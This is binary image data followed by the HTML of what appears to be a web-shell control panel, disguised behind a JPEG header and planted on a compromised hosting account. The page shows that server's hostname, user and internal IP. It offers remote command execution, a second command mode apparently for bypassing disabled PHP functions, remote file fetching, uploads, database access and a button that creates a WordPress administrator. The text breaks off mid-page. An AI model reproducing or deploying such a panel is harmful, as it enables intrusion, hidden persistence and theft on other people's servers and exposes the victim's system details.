ÿØÿà JFIF 

  
 
  ÿÛ „ 	 ( %!1!%)+...383-7(-.+




-%%----/-------------------+-------------------------ÿÀ  Ó î
" 

ÿÄ   



           
 ÿÄ F 


    
 !1AQa "q‘¡±ÁÑ2ðBRbr‚’á#3¢²ñScÂ$C4s£âòÿÄ 
 
             
ÿÄ ' 

        
!1A"2Q3aBq±ÿÚ 
  ? âhJ…Ò”E<¡*N$žP•
¦€D%H”
BPBRA	ûŠ¥gŠti¾£ÎMcKœxª£Í–‘-¿R›)
•*4ÒÙ#ŠW$»%E¾ŒrÞ—7V€ ªêMk¾&Fc)ù-‡šJ5ÿ ©¨øXG
2‘æ‚ue«Úº9*Zµó#R&­„ýšŒ-þ¦“ä²zo›]%fγZéGéoÊqbK—hÈ%JæH"0AÀ‚5‘0€„!H„ ˆJ„ ˆB !@¼©º^ÏÑÕsFS‡aÄ(+³ª‡¥‘Áø‘crTˆB©°ˆB­°$BVÉ	]'ÔÕ¶4Z-eÔh-hV¨Ú'àiÚA'fµcÍ 7bµÝ!kgðÁšõÈ8Uxû3×žYöýÁeËš¸EÐÇ|²ŸEh{5†ŸEf¢Úc]ÑÖv÷¸âãÚVs•v§Äd¶µia깧-«š•::@¼Œî‰á!aÈÙ»W‚–ߤ%´ãꓬã;ÎkiÉ} \ÐØÛŸ²Å3BÕºÙaÂgsÇbØhm66íN§n_=Š•švûhÙѨӈïê[uT&‘iéq1¯ªáªF\T»5¨œG±hŒŒ³ÇôyÓÜ•±ÛÛvÓgcׁv£{*7.Î5uì
ÖŠ׳Iÿ ¹H¸ ‚ß¼8€¾…¥TxwûîRàA ˆùÔ´FTdœ‹» ;<Ù6‹_o±6ë Zµ

¬ßOcv·V¬0\}\”5@„!I „! 	¡ "„
yʲ>•PšâÞì=:vÓT¹ÅÄÉ$’v’š]vE“4¤„]„!sØÀ„$U°!	"-w6|’ÿ Äm­cÁè)R±Ê[0ÖµÄG`%dWÒœÑh?¢hÚnsb¥xªý°–c`ö¸ªrËlG„m›šTšÖ†´   
€ d Ô¦„Ðrƒ§4‡DÀÖünÀnÚî¡arIYª0rtˆzjÜ绡¦n´aQúÿ 7í:²Û(Ø Ñ½§ZwGÓœÕÍ:"¿–lµR(_cÁVÚ¬€f<¶­ ª-¶|ÒKðËeŽÒ¿Gpkð‰ÄnOÖní¡iP‡ƒŒV?HX䐗%íÄd«ŒÑ“³[xjÝØŒY{_áfHZÜ¿M]À
Ã
õ†Íý‰óV2Ù#xÖ fj–Ë\±Å‡ô¾v…)ï0@Ä·¬Íû¼Ç¶31OeR {`ÁA AÆ°WÍüèrCè›ôú=RM?öÝõ©NìÆî»õž¶0›Øs	ñTܷпM°Õ³ýx½OsÛ‹{þ*øHÏ“ ÌÈ^ŸL´–¸A‚`I!h2„°ˆ@„%„P‘zH¦€öJD!j”¬€B«l
H‘€!*Yò[EU¶…›Sê4;ðÌ¿úA_V—
€
¸.Ì…ˆ?Hš‘üªNtïq¸žå݃ÖT©¤hÃ,’ÇæVf£úz¦¡Ë&þ—~|T½?m4èÑyÏ7Ñ™'Rˍ	mªo¾ÒÚMû
'»<Ö){¸7â[S‘¯³S…b×à¹ù«Z‹ W¿Úãäu}£4«Ý
é“ŠòL¡'࿬ìv–µ¶•'<â@ÀÉOW«Õ•Óv£PÝã€C’Am•Õ-–ÚÂi1”ÁúÆ<Ï¢‹GB[šöÕ6ªw
—¸a¨˜9qWt4e`ÛÎà6v[n¶¾ž©>	¿¢õìÖZªÖÕÛƒ·ª•B± Nmϳ'xõ–S“Z]µ‹¬î9‚G¯¿z½°ÖÛ¼ÑÔpòO
(ø'5×L}—Oå~c¾ðîRÈÆxžß5UQä9£hsh’ÓÞÇw©öj—˜7ˆîÃÊ
¾,Í(ðp>t4?Ñô…BªzVRïˆ3‚ɵ‹´óÉ¢[#-#:N‡vZã”ÂߍÜN~Hԏðæ)D&ÜQF!,%p@SæBö¼”ÍBØ‘E€©”%$T!1 bæÆ+M£k™Oô‚ã©«§‡x¬o4öNF
¥ï'·"8G°>k“ª•äfì+ÚRò‚ÞÚowÕ;N~^+=ÿ ˜é“zµ^Ž™‹¸€]#þÜ®Ðõm`ô5.9®8œ°Ã±ó¯žÒæößZ«‹þc¤q»x}ÆÄÆz†j¬PŒ¹“6Jr‚QŒlß;”:1ÐÞ• íys32ðåkg±Üp¸éiÄ×8©Ímrþ¥F8^“Û«Çѹɪ–*e¯¬ç°v™Ä0Ù’
Ù0›, ¾,\Y2’/-¯ÿ §;UG'(³¯Uä
¸’â h‚orqhÂ2³tCzF ±ß\$u…Ÿw¹Y~ßk£3ËN[Z^RÃMÂÎÃtÚnàçd
'àfu.jý7jysºg’d»§5ôcôM”º+ 3ý2ÏÓ’®§È»3L†4
­À-‘˾&7†MüŽ3ÉÛU¤ÖmkÐàã u¾î"0âWg³TuæœQ¿˜]>üSõôm66 à:ú¬ƒ‘¨Ï'eDæå.xà£ì™o0ýí'h?Ó'Š—`t_oفÃÙEªÛô£oüÑ-…òéûtÚxÄÅ[Ó®%i»¯g«D‰¿MÀvÆ+抍ºâÝ„ŒsÃw¯¨i¿	Ý>¯žyÃÑÿ GÒ5š>;¤oæ Ÿ¶à—ƒW%rð⛾½^ShG‰%*€¥^J
PˆB`B€¡"€='lÌ—€rÌöO€M'éõ[{hÃx àGz›èžD6ƒ›˜î×õUÛß
.Տ‚ªäÀ‹
œ´Ïí	ÎRÚ:+W}šn?ÒWPýìéaNNÖ¤×ëpýXú«âÁr+H^²Ð3ÿ iƒˆh Ä-¥š°!*áѪjÖâ@„ͬÃS¯0{Oiž…ýêlk"÷ H•uÁVËGÓ&‰0²Õi–¾ûrZÏÕÊú®££U’UôÞ×ÌetŒOd¬¶Ž·ÛÜòAÍa›¢
ò~ñ& I¶ùú-N¿N½el°¼Õ|*¾Mš­¢ÑV/€îÝXëÃZ[}¶5©Ü…QäcIÚðUš&×.sv=®e¾d*Í-¤7¨–·_µ=º®Üö¦ŠÒàß4ÃHãúO³S6SØú”üpõO¿Ò×x‡{¨tþ nª×~¦þêÕÑR컳:l$|ø.]ÏV‹Æ Áiín#½¤þ…Òìõ:îoaZ=U9Z?¦ÑÏpiÅAùL:?)rÓŠ\£&xðÏže"Ô…°ç
„! *òR¤@ÀA
ÓW¤À2R/n
Ì(
¥„°€‹A8à&3³yËŠ~ug†‹œ P‹ 
°á¬
’Ng 31ä3ÇpVœ–þx#˜°J†JåŸBèÊ`R¦Ák@à£ç6ÓsGÔnÀœ|%hlºÆý֏(X¾v*ÿ Ó5³®|‡©\i;ŸéÕ‚àÊòÞáEÔÉþ[Ïs±þëË èí+½`9¢êчզæ6¨7K
ÀD9ã‚Õ:ÊZd$ÏÄÛF¬Æ“6ÖK`v’ÑE‡ 5¤o ù¬Ý‘äAØ“Iiæô‚‘$$3R¢ áOƒ@ë}6â^Ø9‚}7\	“c–j’Ù¥v–©˜#ønÄf0ÝDÒVkI¥xÐs ÓN8ã–å£ÑA²¦Þ	Ág4…¸œeWдT"åH2sÞ¼Z²…FÚ|’™K¤­q€¥r„[?éï`^z ¬¹Gþ©Äj¦<^ßdÊ|Ñx³{gþØ?Ð=Ôz<mk\?+²~Ձ§ø=Z=St=­pñ'ÕZ"èÇCé»k#ô’}TûER›éœAFãðUé;c îœÕ½ â6höVA•æ‰ó–²šUêR9µîÎ**Ùs«£z#PÄ ÃÇc³þ«þ
º	Ú8òTè„) •¤ èá*€R†¯!8Õ6€ˆ^á ›ŒN@{1ñ•¢æþËzÙHF
ÒuŒ<𕜴|G¿¿¼æzÉzÑQä`Öˆã!&GPl|jä‘Ù2oi
“”•hÙÛôÊÍéÏäÓÇ 4ÏHp"HÏÎã[.ˈå]C\Õ™!Œs{UÛ­tm¼æHÃÚy¥îgR›{WéÏí|¤´T­ôŠ/v˜Zôu@îغ…Š³jÓkÛ“š8‰\yÌÁly	¦¡¿FyÄIfñ8Ž ÀîSš;•–â•:63(Õê/[?y£ë
ÛÓõΛ#oˆ9,Ñm;F†5cå;éiÜâ$wïT\¤åH‚Ö¸9Æ~{Ö‚ÑÈ[-q/ k
Óìš²sud¦IïüdGVïS‹)yRt‘‘Ñ-p§1$™%-´­V‘Ñm¦Ç0€±úIñ‚ÏvÆ]
 +>H:kW#U1äóè³Ö‹PhZlºæ»µ^`=ð¹‡6<¥Q£s¤˜Ð54x9§Ñx¥…ÞÃâм۱ªNÁöN3!ºïˆ
[eIpdٝ÷H*ÆÌùcNð{ðõQ¬ìšu¶O‰öI¢]y…§Q#¿ÿ ÐîML‰«F;žÝ~…P	4Üv AiýMÌ¸Ì/¥9CcúM‚µ(’XHy¸ù…ó¦ÎiÔu7
\F"29­øåhäç…Hf	a(
ÄPx^’%VyBT*É¡

ƹËÂBTéΕÛy°ÑG²^p‡Ô‡:sd~˜ï\»’:$V¬ñ-iÀ¬FѬ×xÑÌŠc|“½eÕΡF­,.VO£ΐ1Æ	º0‰Ù’ǽ‚éâÐ1‰Äã	ìZæÕäôUHéZÙ¸`˜#çK>unh&1ú«'ì_§G}òü9¥K<<·apî)‡ÒC† DlWÖ«4Us£ë^ïĮ̈6º!¤á“¼)ŒÆ”M>…ҏ}0^1ݯá\X4˜k åµ7£t5Ú4ÔëÓkº±|Ư131‰Õ*.–Ñ’Þ©,pÈ‚AãµW4”‹!-Ñ644Óc†x&§™ ¬;%¶Õ´S0ç˜Ûó
ÒUÔî
AZ¢ÚìOmôoùCÊ–Üi›ŽBvIXk}¼3=žêG“‹‰'i3æšxœuNá«m¥Îà ºo5x³=Ñ{ÇôÏ·ræ–«5Ö‚ÂìÝÑ»a“™#Ëâ¬mmà®W|–t—~ý¿º|¯îè›x둪]áÑH§Oøm;‡‹UÞ	6
×-ÚßAî¢h±ÞÏ(óòS,.þ#ÖÇŸ°Q@»hxùÇä§íéq #¿ÎõÁùÂÐßG¶TnÏpͼ.?*ï6†äïœ~|W7ç’Äb…©šæ“»@/dŽËÁkÅ#¢6¬ä°ˆ^ÜF¬7{/+R0
”JB•¢SÙ „%HH%B'(R¼v
gÛzm[èÚ7YÒ0zƒí>&{1(aÉ›	¿N›D81õ/eÚËÇñv.§U×YÂÈssf½OéNúÀö
´ZFÓî¹:ܼÑÔÒÁªVë––˜i oIo[ctíUýeö ÀC
4ÀºÓªíÓ†Þ
Ò/T= +CTZ uð[Qçk k
ZÑ9È9ïÉeÅ/R;<öy#²J~:fz½žõø‰qÄ*«MšóÃÒ÷:Ù$—e^+Pë#™
0.Ë\Û¦	úÄƱÙ*5šÀöŠkÖ»N‹ñ‹b£NF2Kcdæ­„”$ò/¾Å¢
˜Ç±Íq A¸)Þd
 Ÿ´& ¦ô¶Œ‘•×-K

Û‰tk'Y1þS\q™"’æ¶Üÿ ÊÕ“N¥ÓäǏQ(ñàäznh!Ádmva›{—mÓ\™£^As›¹¤0˜‡cã¬,ÍNoÚ×I¬â$ˆ¸Ñ¯ílܨŽ,‘4¼øåäælÎqS¬ö30Æ—™
8œ† œv-í-A€K/FwÏPõK£«ÀÖqžÅéíd\kH“7EÖ0OYÙd@†å[²O²=Dº0Z_AÕlt ²`#\8a³)Íu^JP¹d`Úó݈öY­+K¦­Mît8–¹Ì2µ “‰€1ÜgjÝYiá8¢J•«d:c¬Ý÷{Š–ÆÅ&v8òLÓ·tÿ r˜[ü8ü^ •R.“<Y„Žpñ
6’mÚàí È2˜ÏuIÓø9ØïÛȦ}
Ÿ¸˜ÓyŸ?;')4oÒlUh˜˜¾ÉÔæõšpÞ5mV¶'`[³Ñ ü|qñVã—’œ‘»GÌÖºw[ /ßZŽâµ\âh£ZÜߪâç0ía7‡uâßȲ…t#Ê92Tèò§h«=÷Å
¯’69kœu§Ê $@H ¤ˆ” í
ràÜÉ 
û«JµKÜKÑˆÎ&{\|ŸÉ~GÛ-éH±·MÚ•:‚H€@Ìç8
K èk©R¸êµ\÷4Þ†€ÆÈ ‰Ì‘€ÖªžhGÉ|0N^
½ÑBÌÊc
­ÁTéktOÏbØ;F2 ‰âTkG'(T;%q³BYl.0ìçm·Ý;cÉ7g¶=õ[ѵîˆÅ€ÈÏ23'ŠßŽLQfLg‚­ô~‡ IÀjh wÂ0é\"ÙæFDÙm¯mƾëˆøÌN0I<FµãDØ›e¶Ò—ºÑhišŽ'«H8F8{§ýé1¯omkZ
Yƒˆ‹Â:»Äá*³Fhútpkuß$Ésœq¼çI×'jÖⱺ»ðªââø4–;@{×f
3ƒµfé7V¹5™œÇÙ"FÍ}…Cu Iâ ìu&+ HqœG[Áœ	Ïn ¬õ«³
ÓßC–Šƒ„àqh¾NcT¦m ÞÁ¿œãù¤jØ–К»jv
´.ÌàçSÌ´åqÛdê^­VŽd9͘‰ë8[#
·^Á¾gÕ@±Hƒh¢*›¦2 | Ð%ºäœqÕ«¥ƒ¬Ú$K£_V`É9Ácaõµæ¬¾‚ó&û/Më§g"qÆ1I£DMJ®8
ÑƒC0ŒN%",PeªÅv»^HˆÇõÈÆoµ<	kÁjȦÁ°UQOGÒéšÀ
ìì^u˜Ÿ‡,óÃR½ªÌ Ù
¶÷+/Qª!–åÛç>ê[F ñO|Tˇ¿q•"˜Â6/«E’¦ì]Øq Õ3§™4IŽ0ó	ññí?>
͹—©9¿w 6ø¦ðG”1b©ˆ#' GwùR*Œ{ŽÍc»ÉThçÿ 
¤ZOuéý•ÓÄñðùÁLF	ÓÙ]¿$ýÇ`x ½qRÌa}:úM©MÔÞÙ9®n¨8WÎü£Ñn³ZjPwÕqíž©î…ÓÓ=ÊŽf¢4ìª“
£rnËvìXmBýV…Ó,lºÀ‰ÆŒ¨ä)R!PHíž‹žö±.sˆ
hÌ“©v~Ds}NÎV»EJØqe=ÍÎõQÌ÷&›uA‰–ҝC';Ž]“µuöR ,Yò¶ö£vJ+sìŠÚp–ô'ªÂ‡UË#à؝Žô‰]F™*]šÇçpéñã”Ý ²Ò.ë;-CÔ¯vÛ]Þ«~#à>ÑôÛÞ–×j¸Ü¥Ç·iôJ®cN%Æ\L¸û
@l[2J8c¶=‚WË=Ó@'3òS‚œõ¶ãÞ¼ƒÇÄGªxTÁaÿ `ß ×]Ãç=—ª¯Ô˜©W.ß?Þ†Á!ÁUyŒðíMû9‡çWb„.ªug´åÀkâšp#¬î±Õ´ö
A{¬ÃÇçÁ4(fdùnÕ
b ãP½Ú„
²v|ëV•™‡ ’ËN'3ÏNZÂ㐞|–励"º"ÓüñE0Ø|2^,•€?hLl:Ç|÷¯s{o“Ãð¨;c¿ü§Kd
´ëïÞ™¶¶ ï!=|] cü	>áIoFõj9‡+ÄFÿ ñ*þ–F±J‡I·£®çNkýý%]ٝ֍NŠcHôMשØÄ~ÞK›óÇ¡°e­£.£ýwö…ÒHYó#Ü*í?£ÅªÇR‰KpüMž"Í6M“LÇž¢q.JYå÷–Ú£àGÉËFØ9Ê‘¦­— í],­9psÍTduj¬¢ÜÞàѺN|3Q–ÛšmÒÛMB0¤ÉüÎÀx^Y2Kl[,ÇÒHíšÂÚ4YI¢Z; …fú™f
1hv
™gV¬JÕdà¼2™&ZC&ŒÊŸM¢5ë*Ü8^Gýy£g
Ç3åØž”ËkH3„à](F1U¢v仫`n =wð^%XZ)ÈÞ>aC×;QÆwö©OÏE ÑEbÿ B¬iÒUÆŠÜé•O c)ùÁ%Jg(ƒ³gj¹À2Æ0pï:•v¡ÃŽ.y/qËŒ˜Ü¥ã¤BÉlf“!z¨a<ð£—c=Þéj‡»<ÝïùÁxs5/eËÕ’AÕµLcºT7D¸Â6Ô#‡N¯],ªàÈ)¬õ.´ëøw]ãÑN¬$N°A£žÐ«mt¯Ýñùà¬,•$AÏ̏B¹7Í?±mX°¢{±ùì^(™¤á¸xžö¥¾ ˆøH<
nÂQ#¸Èï’œ~l¹‡í°û',UK¬ípø›b<DqF‘N›Õy'ÿ ªMLÜ,Êo
¸ŒG’GØÞ	uªÅFpx‘ÚÑ#Â|´Í×n8Ž8üö(¶œi’-!ÀlÖ<pN6¥æó«"ʤ¸1¼¢±
5ºÃï+œr²Ù/
—aå}ön“[=ãÍpM%^ýG;zêc–ä™É˲¢]o™:c¢¬èǤwó)¨Ô|
tßÈuUßðŽÐ„.{èè®Ç4Hê¸ë˜žÒO!¸ÈBß4ü}»#PÀˆÃ%l„(ÑôÈg ¡ë#yóH„Ú¿ŠŽ±Ýföú+J&HˆBˏ²œiVÜ£QÍÀôo3¼4•_“ š îB¹Š0rˆ•õ
þ‡Ù2R¡ffÈŽYX	2¤!t4Él%ö"P•
ùtÏÓ=gv»Ì{©t0©ùt!q_c±Ê£øŽqÞcܨÖç?xaÿ ãýЄÞAtGÒ?É~ê˜qi÷)Ýÿ 'y¡
dø%‹î®Ÿ3îU}ƒ'[}J™v'mí³Õ Xµ|ÛhøÝøæP…ÐÓôsu?#ÿÙ
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>root@xshikata</title>
    <style>
html {
    font-size: 15px;
}
body {
    margin: 0;
    padding: 0;
    background-color: #1a1a1a;
    font-family: monospace;
    color: #ddd;
    font-size: 1rem;
}

.content-wrapper {
    padding: 1rem;
    max-width: 1300px;
    margin: 0 auto;
}

a {
    text-decoration: none;
}

.system-info {
    display: flex;
    justify-content: space-between;
    align-items: center;
    background-color: #222222;
    border: 2px dotted #00FF00;
    border-radius: 8px;
    padding: 1rem;
    margin-bottom: 1rem;
    box-shadow: 2px 2px 5px rgba(0,0,0,0.5);
}
.system-info-left p {
    margin: 0.3rem 0;
    font-size: 0.9rem;
    color: #FFFFFF;
}
.system-info-left a {
    color: #00FF00;
    text-decoration: none;
}

.fManager-wrapper {
    overflow-x: auto;
    -webkit-overflow-scrolling: touch;
}

.fManager {
    width: 100%;
    margin: 1rem 0;
    border-collapse: collapse;
    background-color: #2e2e2e;
    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
}
.fManager thead th {
    padding: 0.6rem 0.8rem;
    border: none;
    background-color: #3c3c3c;
    color: #ffffff;
    white-space: nowrap;
}
.fManager tbody td {
    padding: 0.6rem 0.8rem;
    border: none;
    color: #e0e0e0;
    white-space: nowrap;
}
.fManager tbody tr:nth-child(odd) { background-color: #2e2e2e; }
.fManager tbody tr:nth-child(even) { background-color: #363636; }
.fManager tbody tr:hover { background-color: #444444; }

.btn-modern {
    padding: 0.5rem 1rem;
    font-size: 0.9rem;
    font-family: monospace;
    font-weight: bold;
    color: #1a1a1a;
    background-color: #00FF00;
    border: none;
    border-radius: 5px;
    cursor: pointer;
    transition: background-color 0.3s ease, transform 0.2s ease;
    display: inline-flex;
    align-items: center;
    gap: 0.5rem;
}
.btn-modern:hover {
    background-color: #00B300;
    transform: translateY(-2px);
}
.btn-modern:disabled {
    background-color: #555;
    color: #999;
    cursor: not-allowed;
    transform: none;
}

.btn-kill {
    background-color: #dc3545;
    color: #fff;
}
.btn-kill:hover {
    background-color: #c82333;
}
.btn-kill-delete {
    background-color: #fd7e14;
    color: #fff;
}
.btn-kill-delete:hover {
    background-color: #e86a00;
}


.path-display-container {
    background-color: #2e2e2e;
    border: 1px dotted transparent;
    border-radius: 8px;
    padding: 0.7rem;
    margin: 1rem 0;
    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
    display: flex;
    align-items: center;
    color: #ddd;
    flex-wrap: nowrap;
    overflow-x: auto;
}
.path-display-container i { color: #FFFFFF; margin-right: 0.5rem; flex-shrink: 0; }
.path-display-container p { white-space: nowrap; margin:0; }
.path-display-container a { color: #FFFFFF;
    text-decoration: none; font-weight: bold; }
.path-display-container a:hover { text-decoration: underline; }
.path-display-container span { margin: 0 0.25rem;
}

.terminal-container {
    background-color: #1e1e1e;
    border: 1px solid #333;
    border-radius: 8px;
    padding: 1.2rem;
    margin-top: 1rem;
    box-shadow: 0 4px 15px rgba(0, 0, 0, 0.5);
    font-family: 'Menlo', 'Monaco', 'Consolas', monospace;
}
.terminal-output {
    background-color: #161616;
    color: #e0e0e0;
    padding: 1rem;
    border-radius: 5px;
    max-height: 400px;
    overflow-y: auto;
    white-space: pre-wrap;
    word-wrap: break-word;
    margin-bottom: 1rem;
    border: 1px solid #2a2a2a;
}
.terminal-input-area { display: flex; align-items: center; }
.terminal-prompt { color: #00FF00; font-weight: bold; margin-right: 0.7rem;
}
.terminal-input {
    flex-grow: 1;
    background-color: transparent;
    border: none;
    color: #e0e0e0;
    font-size: 1em;
    font-family: inherit;
    padding: 0.3rem;
}
.terminal-input:focus { outline: none; }
.btn-execute {
    background-color: #00FF00;
    color: #111;
    border: none;
    padding: 0.5rem 1rem;
    border-radius: 5px;
    cursor: pointer;
    font-family: monospace;
    font-weight: bold;
    transition: background-color 0.3s ease;
    margin-left: 0.7rem;
}

.upload-panel {
    background-color: #2e2e2e;
    border: 2px dashed #444;
    border-radius: 10px;
    padding: 2rem;
    text-align: center;
    transition: border-color 0.3s ease, background-color 0.3s ease;
    cursor: pointer;
}
.upload-panel.drag-over { border-color: #00FF00; background-color: #333; }
.upload-icon { font-size: 3rem; color: #00FF00; margin-bottom: 1rem; }
.upload-text { color: #ddd; font-size: 1rem;
    margin-bottom: 1.2rem; }
.upload-text span { color: #00FF00; font-weight: bold; }
.progress-container {
    margin-top: 20px;
    height: 10px;
    background-color: #444;
    border-radius: 5px;
    overflow: hidden;
    display: none;
}
.progress-bar {
    width: 0;
    height: 100%;
    background-color: #00FF00;
    border-radius: 5px;
    transition: width 0.3s ease;
}
#uploadStatus {
    margin-top: 15px;
    font-weight: bold;
}

.db-container { display: flex; gap: 1.2rem;
    margin-top: 1rem; }
.db-sidebar {
    width: 25%;
    min-width: 180px;
    background-color: #2e2e2e;
    padding: 1rem;
    border-radius: 8px;
    border: 1px solid #333;
    height: fit-content;
}
.db-content { width: 75%; }
.db-sidebar h4 {
    color: #00FF00;
    margin-top: 0;
    border-bottom: 1px dotted #00FF00;
    padding-bottom: 0.7rem;
    margin-bottom: 0.7rem;
    font-size: 1rem;
}
.db-list { list-style: none; padding: 0; margin: 0; max-height: 400px;
    overflow-y: auto; }
.db-list li a {
    display: block;
    color: #ddd;
    padding: 0.5rem 0.7rem;
    text-decoration: none;
    border-radius: 4px;
    transition: background-color 0.2s ease;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
    font-size: 0.9rem;
}
.db-list li a:hover { background-color: #3a3a3a;
}
.db-list li.active a { background-color: #00FF00; color: #111; font-weight: bold; }
.db-login-form {
    background-color: #2e2e2e;
    padding: 1.2rem;
    border-radius: 8px;
    border: 1px solid #333;
    display: flex;
    flex-wrap: wrap;
    gap: 0.7rem;
    align-items: center;
    margin-bottom: 1rem;
}
.db-login-form input[type="text"] {
    flex: 1 1 150px;
    background-color: #222;
    border: 1px solid #444;
    color: #ddd;
    padding: 0.6rem;
    border-radius: 5px;
}
.data-table-container { max-height: 500px; overflow: auto; border: 1px solid #333; border-radius: 8px; }
.fManager.data-table td div { max-width: 200px;
    overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.pagination { margin: 1rem 0; text-align: center;
}
.pagination a {
    margin: 0 0.25rem;
    padding: 0.3rem 0.6rem;
    border: 1px dotted #00FF00;
    text-decoration: none;
    color: #00FF00;
    border-radius: 4px;
    transition: background-color 0.2s, color 0.2s;
}
.pagination a:hover { background-color: #00FF00; color: #111; }
.pagination a.active { background: #00FF00;
    color: #111; font-weight: bold; }

.db-edit-form { background-color: #2e2e2e; padding: 1.2rem; border-radius: 8px; border: 1px solid #333;
}
.db-edit-form .form-group { margin-bottom: 1rem; }
.db-edit-form label { display: block; margin-bottom: 0.3rem; color: #00FF00; font-weight: bold;
}
.db-edit-form input[type="text"], .db-edit-form textarea {
    width: 100%;
    background-color: #222;
    border: 1px solid #444;
    color: #ddd;
    padding: 0.6rem;
    border-radius: 5px;
    box-sizing: border-box;
    font-family: monospace;
}
.db-edit-form textarea { height: 120px; resize: vertical; }
.db-edit-form .form-actions { margin-top: 1.2rem; text-align: right;
}
.db-edit-form .form-actions .btn-modern { margin-left: 0.7rem; }

/* File Editor and info */
.file_edit {
    width: 100%;
    height: 400px;
    background-color: #222;
    border: 1px dotted #00FF00;
    color: #ddd;
    font-family: 'Consolas', 'Monaco', 'monospace';
    font-size: 1rem;
    padding: 1rem;
    box-sizing: border-box;
    resize: vertical;
    border-radius: 8px;
}
.file-info-container {
    background-color: #2e2e2e;
    border: 1px dotted #00FF00;
    border-radius: 8px;
    padding: 1rem;
    margin-bottom: 1.2rem;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.main-nav-wrapper {
    overflow-x: auto;
    -webkit-overflow-scrolling: touch;
}
.main-nav {
    text-align: center; 
    margin: 1.2rem 0;
    white-space: nowrap;
}
.main-nav .btn-modern, .main-nav form {
    margin: 5px;
    display: inline-block;
}

.new-file-form {
    background-color: #2e2e2e;
    padding: 1.2rem;
    border-radius: 8px;
    border: 1px solid #333;
    display: flex;
    flex-direction: column;
    gap: 0.7rem;
}
.new-file-form input[type="text"],
.new-file-form textarea {
    background-color: #222;
    border: 1px solid #444;
    color: #ddd;
    padding: 0.6rem;
    border-radius: 5px;
    font-family: monospace;
}
.new-file-form textarea {
    height: 200px;
    resize: vertical;
}
.new-file-form button {
    align-self: flex-start;
}

</style>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
</head>
<body>
<div class="content-wrapper">

<div class="system-info">
    <div class="system-info-left">
       <p>
    <strong style="color: #00FF00;">System Info:</strong>
    <span style="color: #ffffff;">Linux webm007.cluster110.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64</span>
</p>

        <p>
            <strong style="color: #00FF00;">User:</strong>
            <span style="color: #ffffff;">220466 (labourie)</span>

        </p>
		<p>
		    <strong style="color: #00FF00;">Group:</strong>
		    <span style="color: #ffffff;">100 (users)</span>
		</p>
        <p>
            <strong style="color: #00FF00;">Safe Mode:</strong>
            <span style="color: #66cc66;">Off</span>
            <span style="margin-left: 3rem;"><a href='javascript:navigate("awal", "phpinfo")' style="color: #00FF00;">[ PHP Info ]</a></span>
        </p>
        <p>
            <strong style="color: #00FF00;">Server Address:</strong>
            <span style="color: #ffffff;">10.110.20.7</span>
        </p>
        <p>
            <strong style="color: #00FF00;">Server Software:</strong>
            <span style="color: #ffffff;">Apache</span>
        </p>
        <p>
            <strong style="color: #00FF00;">PHP Version:</strong>
            <span style="color: #ffffff;">7.3.33</span>
        </p>
        <p>
            <strong style="color: #00FF00;">cURL Version:</strong>
            <span style="color: #ffffff;">7.38.0</span>
        </p>
        <p>
            <strong style="color: #00FF00;">Server Time:</strong>
            <span style="color: #ffffff;">2026-03-24 13:40:08</span>
        </p>
    </div>
</div>

<div class="main-nav-wrapper">
    <div class="main-nav">
      <a href="javascript:navigate('awal', 'dasar');" class="btn-modern"><i class="fas fa-home"></i> Home</a>
      <a href="javascript:toggleUpload();" class="btn-modern"><i class="fas fa-upload"></i> Upload</a>
      <a href="javascript:newFile();" class="btn-modern"><i class="fas fa-plus-square"></i> New File</a>
      <a href="javascript:newPapka();" class="btn-modern"><i class="fas fa-folder-plus"></i> New Folder</a>
      <a href="javascript:navigate('awal', 'sistem_kom', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');" class="btn-modern"><i class="fas fa-terminal"></i> Command</a>
<a href="javascript:navigate('awal', 'chankro_kom', 'berkas', 'L2hvbWUvbGFib3VyaWUvd3d3');" class="btn-modern"><i class="fas fa-skull-crossbones"></i> Command v2</a>
<a href="javascript:toggleFetcher();" class="btn-modern"><i class="fas fa-link"></i> Fetch URL</a>
      <a href="javascript:navigate('awal', 'skl');" class="btn-modern"><i class="fas fa-database"></i> Database</a>
      <form method="POST" action="">
        <input type="hidden" name="create_wp_admin" value="1">
        <input type="hidden" name="berkas" value="L2hvbWUvbGFib3VyaWUvd3d3">
        <button type="submit" class="btn-modern"><i class="fas fa-user-shield"></i> Create Admin</button>
      </form>
    </div>
</div>

<div id="newFileContainer" style="display:none; margin-top: 1.2rem;">
    <form method="POST" class="new-file-form">
        <input type="hidden" name="awal" value="buat_file">
        <input type="hidden" name="berkas" value="L2hvbWUvbGFib3VyaWUvd3d3">
       
         <input type="text" name="new_filename" placeholder="Enter file name..." required>
        <textarea name="new_file_content" placeholder="Enter file content..."></textarea>
        <button type="submit" class="btn-modern"><i class="fas fa-save"></i> Save File</button>
    </form>
</div>

<div id="fetchContainer" style="display:none; margin-top: 1.2rem;">
    <form method="POST" class="new-file-form" style="flex-direction: row; gap: 1rem; align-items: center;">
        <input type="hidden" name="awal" value="fetch_file">
        <input type="hidden" name="berkas" value="L2hvbWUvbGFib3VyaWUvd3d3">
        <input type="text" name="fetch_url" placeholder="Enter full URL to download..." required style="flex-grow: 1; margin: 0;">
        <input type="text" name="save_as" placeholder="Save as (optional)..." style="flex-grow: 0.5; margin: 0;">
        <button type="submit" class="btn-modern"><i class="fas fa-download"></i> Fetch</button>
    </form>
</div>


<div id="uploadContainer" style="display:none; padding: 1.2rem;">
    <div id="upload-panel" class="upload-panel">
        <form id="ajaxUploadForm" method="POST" enctype="multipart/form-data" action="/index.php/en/availabilities">
            <input type="hidden" name="awal" value="upl_file">
            <input type="hidden" name="berkas" value="L2hvbWUvbGFib3VyaWUvd3d3">
            <input type="file" name="ufile" id="file-input-real" style="display: none;">
            
            <i class="fas fa-cloud-upload-alt upload-icon"></i>
            <p class="upload-text">Drag & drop your file here or <span>browse</span> to upload.</p>
  
           </form>
    </div>
    <div class="progress-container" id="progress-container">
        <div class="progress-bar" id="progress-bar"></div>
    </div>
    <div id="uploadStatus" style="text-align: center; margin-top: 1rem;"></div>
    </div>


<div class="path-display-container">
